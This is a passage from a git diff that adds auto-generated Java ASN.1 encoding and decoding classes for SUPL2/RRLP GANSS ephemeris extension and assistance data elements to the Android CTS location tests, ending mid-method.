+ return TAG_ephemerisExtensionDurationType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemerisExtensionDurationType != null) {
+ return ImmutableList.of(TAG_ephemerisExtensionDurationType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemerisExtensionDurationType from encoded stream.
+ */
+ public static ephemerisExtensionDurationType fromPerUnaligned(byte[] encodedBytes) {
+ ephemerisExtensionDurationType result = new ephemerisExtensionDurationType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemerisExtensionDurationType from encoded stream.
+ */
+ public static ephemerisExtensionDurationType fromPerAligned(byte[] encodedBytes) {
+ ephemerisExtensionDurationType result = new ephemerisExtensionDurationType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemerisExtensionDurationType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSEphemerisExtensionHeader = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java
new file mode 100755
index 0000000..95095d7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSEphemerisExtensionTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSEphemerisExtensionTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSEphemerisExtensionTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSEphemerisExtensionTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSEphemerisExtensionTime != null) {
+ return ImmutableList.of(TAG_GANSSEphemerisExtensionTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSEphemerisExtensionTime from encoded stream.
+ */
+ public static GANSSEphemerisExtensionTime fromPerUnaligned(byte[] encodedBytes) {
+ GANSSEphemerisExtensionTime result = new GANSSEphemerisExtensionTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSEphemerisExtensionTime from encoded stream.
+ */
+ public static GANSSEphemerisExtensionTime fromPerAligned(byte[] encodedBytes) {
+ GANSSEphemerisExtensionTime result = new GANSSEphemerisExtensionTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSEphemerisExtensionTime.ganssEphExtDayType ganssEphExtDay_;
+ public GANSSEphemerisExtensionTime.ganssEphExtDayType getGanssEphExtDay() {
+ return ganssEphExtDay_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisExtensionTime.ganssEphExtDayType
+ */
+ public void setGanssEphExtDay(Asn1Object value) {
+ this.ganssEphExtDay_ = (GANSSEphemerisExtensionTime.ganssEphExtDayType) value;
+ }
+ public GANSSEphemerisExtensionTime.ganssEphExtDayType setGanssEphExtDayToNewInstance() {
+ ganssEphExtDay_ = new GANSSEphemerisExtensionTime.ganssEphExtDayType();
+ return ganssEphExtDay_;
+ }
+
+ private GANSSTOD ganssEphExtTOD_;
+ public GANSSTOD getGanssEphExtTOD() {
+ return ganssEphExtTOD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTOD
+ */
+ public void setGanssEphExtTOD(Asn1Object value) {
+ this.ganssEphExtTOD_ = (GANSSTOD) value;
+ }
+ public GANSSTOD setGanssEphExtTODToNewInstance() {
+ ganssEphExtTOD_ = new GANSSTOD();
+ return ganssEphExtTOD_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssEphExtDay() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssEphExtDay();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssEphExtDayToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisExtensionTime.ganssEphExtDayType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssEphExtDay : "
+ + getGanssEphExtDay().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssEphExtTOD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssEphExtTOD();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssEphExtTODToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTOD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssEphExtTOD : "
+ + getGanssEphExtTOD().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssEphExtDayType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssEphExtDayType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssEphExtDayType() {
+ super();
+ setValueRange("0", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssEphExtDayType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssEphExtDayType != null) {
+ return ImmutableList.of(TAG_ganssEphExtDayType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssEphExtDayType from encoded stream.
+ */
+ public static ganssEphExtDayType fromPerUnaligned(byte[] encodedBytes) {
+ ganssEphExtDayType result = new ganssEphExtDayType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssEphExtDayType from encoded stream.
+ */
+ public static ganssEphExtDayType fromPerAligned(byte[] encodedBytes) {
+ ganssEphExtDayType result = new ganssEphExtDayType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssEphExtDayType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSEphemerisExtensionTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java
new file mode 100755
index 0000000..96613fa0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java
@@ -0,0 +1,1227 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSGenericAssistDataElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSGenericAssistDataElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSGenericAssistDataElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSGenericAssistDataElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSGenericAssistDataElement != null) {
+ return ImmutableList.of(TAG_GANSSGenericAssistDataElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSGenericAssistDataElement from encoded stream.
+ */
+ public static GANSSGenericAssistDataElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSSGenericAssistDataElement result = new GANSSGenericAssistDataElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSGenericAssistDataElement from encoded stream.
+ */
+ public static GANSSGenericAssistDataElement fromPerAligned(byte[] encodedBytes) {
+ GANSSGenericAssistDataElement result = new GANSSGenericAssistDataElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSGenericAssistDataElement.ganssIDType ganssID_;
+ public GANSSGenericAssistDataElement.ganssIDType getGanssID() {
+ return ganssID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSGenericAssistDataElement.ganssIDType
+ */
+ public void setGanssID(Asn1Object value) {
+ this.ganssID_ = (GANSSGenericAssistDataElement.ganssIDType) value;
+ }
+ public GANSSGenericAssistDataElement.ganssIDType setGanssIDToNewInstance() {
+ ganssID_ = new GANSSGenericAssistDataElement.ganssIDType();
+ return ganssID_;
+ }
+
+ private SeqOfGANSSTimeModel ganssTimeModel_;
+ public SeqOfGANSSTimeModel getGanssTimeModel() {
+ return ganssTimeModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSSTimeModel
+ */
+ public void setGanssTimeModel(Asn1Object value) {
+ this.ganssTimeModel_ = (SeqOfGANSSTimeModel) value;
+ }
+ public SeqOfGANSSTimeModel setGanssTimeModelToNewInstance() {
+ ganssTimeModel_ = new SeqOfGANSSTimeModel();
+ return ganssTimeModel_;
+ }
+
+ private GANSSDiffCorrections ganssDiffCorrections_;
+ public GANSSDiffCorrections getGanssDiffCorrections() {
+ return ganssDiffCorrections_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSDiffCorrections
+ */
+ public void setGanssDiffCorrections(Asn1Object value) {
+ this.ganssDiffCorrections_ = (GANSSDiffCorrections) value;
+ }
+ public GANSSDiffCorrections setGanssDiffCorrectionsToNewInstance() {
+ ganssDiffCorrections_ = new GANSSDiffCorrections();
+ return ganssDiffCorrections_;
+ }
+
+ private GANSSNavModel ganssNavigationModel_;
+ public GANSSNavModel getGanssNavigationModel() {
+ return ganssNavigationModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSNavModel
+ */
+ public void setGanssNavigationModel(Asn1Object value) {
+ this.ganssNavigationModel_ = (GANSSNavModel) value;
+ }
+ public GANSSNavModel setGanssNavigationModelToNewInstance() {
+ ganssNavigationModel_ = new GANSSNavModel();
+ return ganssNavigationModel_;
+ }
+
+ private GANSSRealTimeIntegrity ganssRealTimeIntegrity_;
+ public GANSSRealTimeIntegrity getGanssRealTimeIntegrity() {
+ return ganssRealTimeIntegrity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRealTimeIntegrity
+ */
+ public void setGanssRealTimeIntegrity(Asn1Object value) {
+ this.ganssRealTimeIntegrity_ = (GANSSRealTimeIntegrity) value;
+ }
+ public GANSSRealTimeIntegrity setGanssRealTimeIntegrityToNewInstance() {
+ ganssRealTimeIntegrity_ = new GANSSRealTimeIntegrity();
+ return ganssRealTimeIntegrity_;
+ }
+
+ private GANSSDataBitAssist ganssDataBitAssist_;
+ public GANSSDataBitAssist getGanssDataBitAssist() {
+ return ganssDataBitAssist_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSDataBitAssist
+ */
+ public void setGanssDataBitAssist(Asn1Object value) {
+ this.ganssDataBitAssist_ = (GANSSDataBitAssist) value;
+ }
+ public GANSSDataBitAssist setGanssDataBitAssistToNewInstance() {
+ ganssDataBitAssist_ = new GANSSDataBitAssist();
+ return ganssDataBitAssist_;
+ }
+
+ private GANSSRefMeasurementAssist ganssRefMeasurementAssist_;
+ public GANSSRefMeasurementAssist getGanssRefMeasurementAssist() {
+ return ganssRefMeasurementAssist_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRefMeasurementAssist
+ */
+ public void setGanssRefMeasurementAssist(Asn1Object value) {
+ this.ganssRefMeasurementAssist_ = (GANSSRefMeasurementAssist) value;
+ }
+ public GANSSRefMeasurementAssist setGanssRefMeasurementAssistToNewInstance() {
+ ganssRefMeasurementAssist_ = new GANSSRefMeasurementAssist();
+ return ganssRefMeasurementAssist_;
+ }
+
+ private GANSSAlmanacModel ganssAlmanacModel_;
+ public GANSSAlmanacModel getGanssAlmanacModel() {
+ return ganssAlmanacModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAlmanacModel
+ */
+ public void setGanssAlmanacModel(Asn1Object value) {
+ this.ganssAlmanacModel_ = (GANSSAlmanacModel) value;
+ }
+ public GANSSAlmanacModel setGanssAlmanacModelToNewInstance() {
+ ganssAlmanacModel_ = new GANSSAlmanacModel();
+ return ganssAlmanacModel_;
+ }
+
+ private GANSSUTCModel ganssUTCModel_;
+ public GANSSUTCModel getGanssUTCModel() {
+ return ganssUTCModel_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSUTCModel
+ */
+ public void setGanssUTCModel(Asn1Object value) {
+ this.ganssUTCModel_ = (GANSSUTCModel) value;
+ }
+ public GANSSUTCModel setGanssUTCModelToNewInstance() {
+ ganssUTCModel_ = new GANSSUTCModel();
+ return ganssUTCModel_;
+ }
+
+ private GANSSEphemerisExtension ganssEphemerisExtension_;
+ public GANSSEphemerisExtension getGanssEphemerisExtension() {
+ return ganssEphemerisExtension_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisExtension
+ */
+ public void setGanssEphemerisExtension(Asn1Object value) {
+ this.ganssEphemerisExtension_ = (GANSSEphemerisExtension) value;
+ }
+ public GANSSEphemerisExtension setGanssEphemerisExtensionToNewInstance() {
+ ganssEphemerisExtension_ = new GANSSEphemerisExtension();
+ return ganssEphemerisExtension_;
+ }
+
+ private GANSSEphemerisExtensionCheck ganssEphemerisExtCheck_;
+ public GANSSEphemerisExtensionCheck getGanssEphemerisExtCheck() {
+ return ganssEphemerisExtCheck_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisExtensionCheck
+ */
+ public void setGanssEphemerisExtCheck(Asn1Object value) {
+ this.ganssEphemerisExtCheck_ = (GANSSEphemerisExtensionCheck) value;
+ }
+ public GANSSEphemerisExtensionCheck setGanssEphemerisExtCheckToNewInstance() {
+ ganssEphemerisExtCheck_ = new GANSSEphemerisExtensionCheck();
+ return ganssEphemerisExtCheck_;
+ }
+
+
+
+ private GANSSGenericAssistDataElement.sbasIDType extensionSbasID;
+ public GANSSGenericAssistDataElement.sbasIDType getExtensionSbasID() {
+ return extensionSbasID;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSGenericAssistDataElement.sbasIDType
+ */
+ public void setExtensionSbasID(Asn1Object value) {
+ extensionSbasID = (GANSSGenericAssistDataElement.sbasIDType) value;
+ }
+ public void setExtensionSbasIDToNewInstance() {
+ extensionSbasID = new GANSSGenericAssistDataElement.sbasIDType();
+ }
+
+ private GANSSAddUTCModel extensionGanssAddUTCModel;
+ public GANSSAddUTCModel getExtensionGanssAddUTCModel() {
+ return extensionGanssAddUTCModel;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAddUTCModel
+ */
+ public void setExtensionGanssAddUTCModel(Asn1Object value) {
+ extensionGanssAddUTCModel = (GANSSAddUTCModel) value;
+ }
+ public void setExtensionGanssAddUTCModelToNewInstance() {
+ extensionGanssAddUTCModel = new GANSSAddUTCModel();
+ }
+
+ private GANSSAuxiliaryInformation extensionGanssAuxiliaryInfo;
+ public GANSSAuxiliaryInformation getExtensionGanssAuxiliaryInfo() {
+ return extensionGanssAuxiliaryInfo;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAuxiliaryInformation
+ */
+ public void setExtensionGanssAuxiliaryInfo(Asn1Object value) {
+ extensionGanssAuxiliaryInfo = (GANSSAuxiliaryInformation) value;
+ }
+ public void setExtensionGanssAuxiliaryInfoToNewInstance() {
+ extensionGanssAuxiliaryInfo = new GANSSAuxiliaryInformation();
+ }
+
+ private GANSSDiffCorrectionsValidityPeriod extensionGanssDiffCorrectionsValidityPeriod;
+ public GANSSDiffCorrectionsValidityPeriod getExtensionGanssDiffCorrectionsValidityPeriod() {
+ return extensionGanssDiffCorrectionsValidityPeriod;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSDiffCorrectionsValidityPeriod
+ */
+ public void setExtensionGanssDiffCorrectionsValidityPeriod(Asn1Object value) {
+ extensionGanssDiffCorrectionsValidityPeriod = (GANSSDiffCorrectionsValidityPeriod) value;
+ }
+ public void setExtensionGanssDiffCorrectionsValidityPeriodToNewInstance() {
+ extensionGanssDiffCorrectionsValidityPeriod = new GANSSDiffCorrectionsValidityPeriod();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSGenericAssistDataElement.ganssIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssID : "
+ + getGanssID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTimeModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTimeModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTimeModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSSTimeModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTimeModel : "
+ + getGanssTimeModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDiffCorrections() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDiffCorrections();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDiffCorrectionsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSDiffCorrections.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDiffCorrections : "
+ + getGanssDiffCorrections().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssNavigationModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssNavigationModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssNavigationModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSNavModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssNavigationModel : "
+ + getGanssNavigationModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssRealTimeIntegrity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssRealTimeIntegrity();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssRealTimeIntegrityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSRealTimeIntegrity.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssRealTimeIntegrity : "
+ + getGanssRealTimeIntegrity().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDataBitAssist() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDataBitAssist();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDataBitAssistToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSDataBitAssist.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDataBitAssist : "
+ + getGanssDataBitAssist().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssRefMeasurementAssist() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssRefMeasurementAssist();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssRefMeasurementAssistToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
